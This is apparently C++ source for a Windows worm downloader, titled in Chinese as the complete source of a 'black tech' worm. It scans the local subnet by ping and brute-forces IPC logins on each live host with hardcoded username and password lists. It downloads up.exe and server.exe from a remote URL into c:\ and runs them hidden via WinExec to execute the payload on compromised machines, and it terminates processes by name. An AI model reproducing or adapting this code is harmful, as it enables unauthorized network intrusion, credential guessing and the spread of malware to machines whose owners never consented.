ipc.h

黑色技术蠕虫下载者的完整源码

// NetScan.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsvc.h"

#include "winsock2.h"
#pragma comment(lib,"ws2_32.lib")

#include "PingI.h"
#include "winnetwk.h"
#pragma comment(lib,"mpr.lib")

#include <tlhelp32.h>

const char *user[]={
"administrator","admin",
"admin$","administrator$",
"king","student",
"teacher","root",
"goto","hack",
"temp","admin888",
"admin1234","home",
"owner","Guest",
"fuck","you",
0};
const char *pass[]={
"NULL","whboy",
"administrator","admin",
"king","student",
"teacher","root",
"goto","hack",
"temp","admin888",
"admin1234","home",
"owner","Guest",
"fuck","you",
"1234","8888",
"hack","admin$",
"5201314","5203344",
"1234567","12345678",
"asdf","qwer",
"88888888","111111111",
"pass","password",
"computer","superman",
"login","love",
0};



void KillProcess(char * processName)
{
	HANDLE   hSnapshot;    
	hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
	PROCESSENTRY32   pe;    
	Process32First(hSnapshot,&pe);    
	do    
	{    
		if(strcmp(pe.szExeFile, processName)==0)    
		{    
			HANDLE   hProcess;    
			hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,pe.th32ProcessID);    
			if   (hProcess)    
			{    
				TerminateProcess(hProcess,0);//关闭进程    
			}    
		}    
	}      
	while(Process32Next(hSnapshot,&pe));    
	CloseHandle(hSnapshot); 

}


DWORD ConnectRemote(const char *RemoteIP,const char *lpUserName,const char *lpPassword) 
{
   char sDownRunFileUP[256], sDownRunFileServer[256];
   memset(sDownRunFileUP, 0, 256);
   memset(sDownRunFileServer, 0, 256);
   sprintf(sDownRunFileUP, "%s/up.exe", modify_data.DownRunFile);
   sprintf(sDownRunFileServer, "%s/server.exe", modify_data.DownRunFile);

   URLDownloadToFile(0, sDownRunFileUP, "c:\\1.exe", 0, 0);
   URLDownloadToFile(0, sDownRunFileServer, "c:\\2.exe", 0, 0);
					
   char filesring[2048];
   memset(filesring, 0, 2048);
   sprintf(filesring, "c:\\1.exe \\\\%s /user:%s /pwd:%s /c c:\\2.exe /d", RemoteIP, lpUserName, lpPassword);
   KillProcess("1.exe");
   int  nRet = WinExec(filesring, SW_HIDE);
   TRACE("%s\n", filesring);
   return nRet;
}


unsigned long  CALLBACK IPC_thread(LPVOID dParam)
{
	WORD wVersion =0 ;
	int	 errret = -1;
	WSADATA wsaData;
	
	wVersion = MAKEWORD(2,2);
	errret = WSAStartup(wVersion,&wsaData);
	
	if( LOBYTE( wsaData.wVersion) != 2 ||
		HIBYTE( wsaData.wVersion) !=2 )
	{
  //	MessageBox(NULL,"winsocket库版本低","提示",MB_OK);
		return FALSE;
	}

    /*获取计算机名称*/
	CHAR szHostName[128]={0};      //将本机的名称存入一维数组,数组名称为szHostName
	struct hostent * pHost;	//定义结构体 hostent

	int i; //定义变量i
	
	SOCKADDR_IN saddr;
	
	if(gethostname(szHostName,128)==0)    //如果本机的名称查到，
	{		
		pHost = gethostbyname(szHostName); 
		for( i = 0; pHost!= NULL && pHost->h_addr_list[i]!= NULL; i++ ) 	
		{

			memset(&saddr,0,sizeof(saddr)); 
			memcpy(&saddr.sin_addr.s_addr, pHost->h_addr_list[i], pHost->h_length);			

		}
	}	

	char ip[128];
    int count;

	BOOL bpingOK=FALSE;
		
	for(count=1;count<254;count++)
	{
		memset(ip,0,128);
		sprintf(ip,
			"%d.%d.%d.%d",
			saddr.sin_addr.S_un.S_un_b.s_b1,
			saddr.sin_addr.S_un.S_un_b.s_b2,
			saddr.sin_addr.S_un.S_un_b.s_b3,
			count);
		CPingI m_PingI;
		bpingOK = m_PingI.Ping(2,(LPCSTR)ip,NULL);
		if (bpingOK)
		{//用户名和密码枚举连接
			for(int i = 0;user[i]; i++)
			{
				for (int j=0;pass[j];j++)
				{
					if (ConnectRemote(ip,user[i],pass[j])==0)
						break;
				}
			}			
		}
			
	}

	WSACleanup();
	//printf("Hello World!\n");
	return 0;
}
/*
void main()
{
	IPC_thread(NULL);
}
*/